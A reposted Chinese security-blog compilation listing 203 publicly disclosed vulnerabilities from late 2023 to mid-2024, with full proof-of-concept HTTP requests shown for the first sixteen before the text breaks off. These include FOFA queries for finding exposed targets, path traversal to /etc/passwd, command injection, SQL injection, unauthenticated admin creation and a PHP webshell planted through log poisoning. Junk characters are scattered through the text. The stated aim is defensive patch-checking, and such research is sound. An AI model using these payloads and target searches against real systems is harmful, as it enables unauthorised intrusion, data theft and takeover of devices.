互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
( n. B& S$ x8 Z: h1 B& O' Q% }* @( n道一安全 2024-06-05 07:41 北京
3 q1 s! |6 J, p2 e6 y: v) C以下文章来源于网络安全新视界 ，作者网络安全新视界

' p" x9 P& N0 i2 w) ^9 U0 U4 J+ P发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
' D6 r. O5 }; z
* D; g: }3 Z/ p+ }& p( g" Z5 W1 ^漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
% ~* S3 U& f- r# t; H2 ?
1 }* S. y+ _. O  N. U安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
6 r/ a: A+ N$ h+ |6 c& k& R6 w3 `
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
- w5 g% o' g2 N7 b* n
5 Y) O, l: d) l1 m# Y% p' W; Z! b合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明

* a) P% _$ e8 f$ W2 s2 M4 S* f为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
9 |/ p+ C; l6 g3 t6 I( l
) A# m  ?, A' w4 q' H9 u5 b: W有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


  e" Q. G. `7 |6 n1 v3 k0 y
目录

0 J! q0 T$ U6 Z! @0 U7 D01
1 z- J4 ]" n2 G; O
) J2 s  W5 M/ K4 O# ^1. StarRocks MPP数据库未授权访问
6 O  P0 C3 M  a1 N6 ~/ P- l  X- B2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
- }. T, `: B* V* s3 a1 n$ r6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
" u8 E8 P2 o1 y# C# ]8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
! t8 x6 w% W4 F* G3 s3 K9 g10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
# S4 E0 v7 |3 H12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
- Q4 X& M" {. _* ^- }, ^. m14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
  b$ X+ F1 s, z% f- Y( E20. 大华ICC智能物联综合管理平台任意文件读取
+ w8 x. I7 t, y6 E: o21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
/ S. Z! ?: e- w- U- a23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
: d; c, w* H# @9 d3 ^& \24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
8 k1 A1 Z0 V! }$ H  }: e' S27. 用友 NC showcontent SQL注入
& ~6 r- e, T# S( r28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
, ?# A/ W+ I! b4 c36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
5 V( n: p6 k! i9 d( Z38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
3 E  A* P& C) u7 y4 P. H( _41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
; r! ]  p! I' J% f  E& R43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
) q1 P4 H+ R2 z* }) v/ C5 M9 c45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
2 S+ L/ F  B. R3 b; Y  k47. 用友GRP A++Cloud 政府财务云 任意文件读取
0 _4 }8 [1 |$ v4 k7 j48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
( M2 t1 [; a1 _1 X54. 畅捷通T+ getstorewarehousebystore 远程代码执行
! @* t" _& x8 P& L3 J55. 畅捷通T+ getdecallusers信息泄露
0 K2 C% ~4 m# @9 L, k0 v; [$ N. S56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
9 ], S- ?  E. \! B58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
# b! J" v/ p7 n/ Q- X1 Y7 L60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
6 p6 _* g7 G) @4 z% ^62. IP-guard WebServer 远程命令执行
: Y" w- b, ?3 h3 ~63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
5 v; s9 t$ ?5 C; m" T! I65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
# A9 |# w* `) e4 w& m, {67. 万户ezOFFICE wpsservlet任意文件上传
8 c& @$ h4 I0 c7 Z3 V68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
, @2 }' c. B& c$ a70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
$ k' `$ T+ b0 {0 q) G% F72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
3 u! _+ h- L' g2 s4 a0 O& R75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
6 c- U* l( p* p6 s- q76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
" X/ E4 k2 @% U' b) }1 C& E81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
% v/ q" f2 Y$ ]( s82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
8 {" S# q, [0 j% t) t) m87. 安恒明御安全网关aaa_local_web_preview文件上传
# c0 ^: ]6 P5 }3 ?88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
# f1 W4 V/ S/ e9 [+ v6 X" v89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
8 O0 y5 S* ^7 m  F( A$ q94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
2 Z/ R, j0 O  [+ O95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
" X! m' p) Z4 N0 j" [5 y96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
! l: c, ]! t2 M. V5 G! ?, `100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
: C+ Y# q; l$ L1 {4 Z( |106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
0 W! }$ L$ ]0 k* q0 {108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
# j, g: V6 b; T110. Goanywhere MFT 未授权创建管理员
( `7 W+ o, G& n6 C' G9 X111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
1 D% ~6 j# ^& c7 \2 s0 b113. WordPress Automatic 插件任意文件下载和SSRF
" `4 I- G5 r& F; V5 S114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
! Z4 L4 q" n3 M+ s1 ^9 |- y117. WordPress LayerSlider插件SQL注入
* I# M! X/ x2 a118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
% P7 m& ]9 `, h" ^119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
0 v* X: B- F0 e; f; l121. 北京百绰智能S42管理平台userattestation.php任意文件上传
/ c. L: s1 F+ t" O1 r' T8 Z2 a122. 北京百绰智能s200管理平台/importexport.php sql注入
+ b+ t5 H, M4 S123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
& s7 E4 E1 R' t126. Aiohttp 路径遍历
' s+ N8 ^, x- `127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
. m: G+ i2 m$ Y$ t( @0 Z129. Adobe ColdFusion 任意文件读取
' d7 O! P7 C& q130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
  M- O) s& }6 a133. H5 云商城 file.php 文件上传
. [) O1 W/ X1 u* ?; N134. 网康NS-ASG应用安全网关index.php sql注入
# `7 ~( R! c8 \4 W9 o135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
5 s3 P8 [, f6 ]: ^: |; {7 {6 M6 U( H136. NextChat cors SSRF
; o" o$ m) ]8 f* y, I9 F, M137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
3 S! a) ^2 E) R139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
6 R2 g. Z$ o3 k141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
. \7 h7 i# |$ i# O, J7 m145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
6 B3 m$ _) \. }) j* i146. MajorDoMo thumb.php 未授权远程代码执行
( I8 C6 L. W' [7 o% k) ^; F4 I& m3 P147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
$ @3 W1 S5 V% t. Z3 M149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
' I' Y# \7 O7 f/ z152. Progress Kemp LoadMaster 远程命令执行
; N! M( C6 f" X+ P/ h0 p153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
. B" Z; U6 o4 H! K  [. I; T# j" u  j156. TBK DVR-4104/DVR-4216 操作系统命令注入
- a9 n& p0 V' b" g: z9 }! {157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
( a: y6 ]9 V: k160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
# ^& ^7 }! z* d% B; `2 h% O$ U163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
  b0 h+ q8 d6 C/ }2 R# i; }164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
. x" l/ j) N! h$ E. B3 Q  Q166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
8 n9 j. t' \2 M9 h' p/ }168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
; S& ~& y8 l! E( e170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
- P8 v  W# i0 X, @5 a4 k! a172. DT-高清车牌识别摄像机任意文件读取
$ ?3 W6 B4 y! z/ O173. Check Point 安全网关任意文件读取
8 \. R" l5 E' J2 M174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
1 L# g9 n+ W; a1 ?176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
8 u6 b8 O" O' B178. H3C校园网自助服务系统-flexfileupload-任意文件上传
- f" G, e2 i# v5 q6 X179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
8 C# x  |2 C: I185. 瑞友天翼应用虚拟化系统SQL注入
+ k1 I) K) g  p% M; E7 m8 Z186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
6 A: x1 L7 j, G4 A* I189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
1 I3 J' h- ?- U0 y191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
- Z8 j) d1 O% M1 q; ~192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
2 h; t5 ?3 K; y* U. l193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
/ X3 @0 B1 ?) A' U! N; P* m195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
, |+ k/ o+ \+ B3 u+ C9 f196. 河南省风速科技统一认证平台密码重置
6 l0 n2 b0 [& }$ r! L197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
" Y0 e( A) W/ Q198.  阿里云盘 WebDAV 命令注入
  M/ e- v7 q+ s/ V199. cockpit系统assetsmanager_upload接口 文件上传
; o* u4 d7 J2 r( f$ a9 c200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
4 Y# K/ d* L- @202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

/ n1 h- ^; p8 M: u$ {02
  [" i2 R# \' ^: L) {4 c. b
1. StarRocks MPP数据库未授权访问
. q+ ?; M& N5 l/ O; O, PFOFA ：title="StarRocks"
0 y2 U  K0 c9 \( ~7 UGET /mem_tracker HTTP/1.1
: I% K# t- S/ v" ]Host: URL

$ r4 Z* N/ K9 |( |
/ B8 x" i4 i% z) M+ G  I- t2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
/ E- t6 w7 J* `& ]GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
  T+ x; D: e: N0 }6 Y; xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
& o2 P& Y0 K' d1 ?$ aAccept-Encoding: gzip
1 s. I# i$ ?4 t* f* m

3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
3 u( U5 G" d8 ^0 w3 ZHost: xx.xx.xx.xx
( N% Z7 Y2 d; y  n& E
  u. i6 r, K- J" u
5 _$ H# y+ A6 Z1 N, ?# u, j4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
) p! s% n! @( l8 ?' A2 d& P
password更改为自己的密码md5
* ~6 z* l9 f' w* CPOST /api/v1/adduser HTTP/1.1
9 a4 P9 A. U  ~; nHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
! a% p' k' _" }, S  W4 d
* u4 w5 W+ v3 _" s& S9 E- f0 N% ~; Tname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


# t4 R1 n9 s. E! n. C6 N# k5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
. d/ K* C5 T3 g4 q  J9 MGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
5 j1 y  Z% ~4 l  F0 U; dHost: xx.xx.xx.xx


6. 深信服 NGAF 任意文件读取
" Y2 e0 r+ c: c( W) J3 _FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
+ ]+ j7 @" Y: @, @. r, v0 |Host:

9 V4 A5 {6 d8 E* G9 a1 F$ }  |  W
8 l2 D, Q+ t" k. H& U2 Y! \- B( h7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
4 u* u# O: u4 @) A5 y, MHost:


) ]& P& Z8 a  L5 g) G  Z# k7 F8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
8 \% L& K8 g" DHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
6 E; G& b8 {4 C  ^9 A8 G, |( rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
% p, l# n3 F* ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
& n0 y" v' \. z. z. Q( N' \3 @+ \& ZContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
/ s6 a( p! D2 C( h/ HContent-Disposition: form-data; name="wifiRebootrange"

0 @4 c  S# }. M/ `) ^12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
6 p' r) z+ }# a" V1 h) V; ]
; [/ I% U, E) z+ I%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
  L# S8 K, z$ y8 o. {
: D3 `/ K/ S. l
. |+ C9 L  x' a: m  Q5 v------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
  ?+ m" q: J0 P2 y8 mFOFA：app="Doccms"
" ~; ?1 B$ p8 X2 ?GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
* s1 n. J: g0 \Host: x.x.x.x
" k/ `+ r7 I/ [
2 q& L) B0 L9 d1 L; e
, }8 i+ L& b# k; F" Spayload为下列语句的二次Url编码
1 Q8 n% E4 j. i6 G
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
1 I  A" N- p) U+ L! QFOFA：icon_hash="953405444"
$ l5 v% p- s2 Y1 l
7 \) n' e1 q% `9 v0 r+ H文件上传后响应中包含上传文件的路径
) T' }8 a, F+ {1 y0 `* KPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
% H5 ~# L7 W( e& oHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
9 S8 L' g" D0 H( yContent-Length: 197
  s& E  o- X! `( E  Z0 z7 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
; ]* i- F* y: ^. N$ f% Z- wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ E4 h" Q; U/ ]" K1 V  JConnection: close
7 O5 m/ u3 C9 v1 yContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
. D8 j) f! B& E1 i
; {2 r3 y1 N! ~* T5 A% \8 i7 n7 ^------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
& x1 Y/ \7 w. G. x$ A# W& N, YContent-Type: text/html

1 b, _1 s- M( }& _jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
. T$ z  R) ?, e- v* [6 }- Q
0 Y9 Z3 `3 q- B3 v/ @! n
( s0 y& T) _. a" K: u11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
2 H" }# C7 \; ?8 G  mFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
* D: j4 t7 G. b: S( sGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
0 y9 r- z1 }- w% q2 c# f6 KUpgrade-Insecure-Requests: 1
9 [% a1 `) S9 m; U8 c$ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 S/ t% }6 h; A- [8 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* M/ _, d6 q9 A+ {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
9 R* @" P% d, y! G6 C( |4 U

4 ~8 u7 O4 _8 D( p3 I( U" a12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
& q4 `3 [5 u0 t4 \1 g' mGET /session/login HTTP/1.1
) c! d# y  n3 i) j* ?2 [5 yHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% c) E1 }+ `% O& A) HConnection: close
1 O: l8 U, _7 t2 |5 n3 A; pAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
% S% N7 s# `, Y9 lHTTP/1.1 200 OK
, \) c6 `/ {% p! X# U2 _Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
, W0 ?, E! E' gExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
; W+ V3 |: {# ~( T! [Pragma: no-cache
Server: Apache/2.4.54 (Debian)
( s/ N/ i7 Q% {' USet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
, K& k6 m& _) _Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
$ V, p0 l. U. V0 V) P) A' a# @Vary: Accept-Encoding


, z8 A2 ~4 Y2 ^8 aPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
% V9 [+ U) n- ~/ uContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

% c# y  c: [& ]! Lcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
6 d8 [3 }& V- o; }7 G, S- \
! q$ R, m' d3 A
& R- ?1 }" W  W0 a, F2 Z: s/ w
8 i7 U# m) E* x* x+ N4 [. a向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
' j$ q4 ~3 `( W7 p. G6 |GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
) Y$ z' Y/ i- a$ R% |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
! w- m/ b) H+ _0 qCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
( r5 E" x/ H- I5 X$ a! w+ IX-REQUESTED-WITH: XMLHttpRequest
8 n# B' k& ]  Q! KAccept-Encoding: gzip


, Q  I& q5 m9 n; j3 r( ^/ L13. 红帆iOffice ioFileDown任意文件读取
2 F+ x7 U" a1 b$ s, C. SFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
# \# Y2 _+ K3 D/ ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
" w0 q" L, W2 W4 k* A
; v& G& M5 f; E. Y" s, B- k) j
, v" N( K" G5 m2 z14. 华夏ERP（jshERP）敏感信息泄露
* y" I5 t" r6 P% ?! O' |( DFOFA：body="jshERP-boot"
泄露内容包括用户名密码
6 |6 c. e0 q; A/ F2 c/ ]# D. pGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
: l* N; o$ G. ?- qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
! X& p) _7 J; N% M( |Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

& C' ?! B0 ?: B! O* a& L# `
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
7 u0 N* m  U, D, m6 gGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
6 Q2 J- ?6 B  K7 _4 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
' J% j. J" h6 l  J- F6 S: nConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
; }7 p3 t% I. w0 H9 }5 [# osec-ch-ua-platform: Windows
' b. j$ \) ?4 j$ O, l, A% E! a- MAccept-Encoding: gzip
$ n2 \" I: a) k6 r7 F4 s( J0 l

16.  红帆HFOffice医微云SQL注入
" b% X& J- l4 }FOFA：title="HFOffice"
* N- j+ }" {" u5 T  L2 Hpoc中调用函数计算1234的md5值
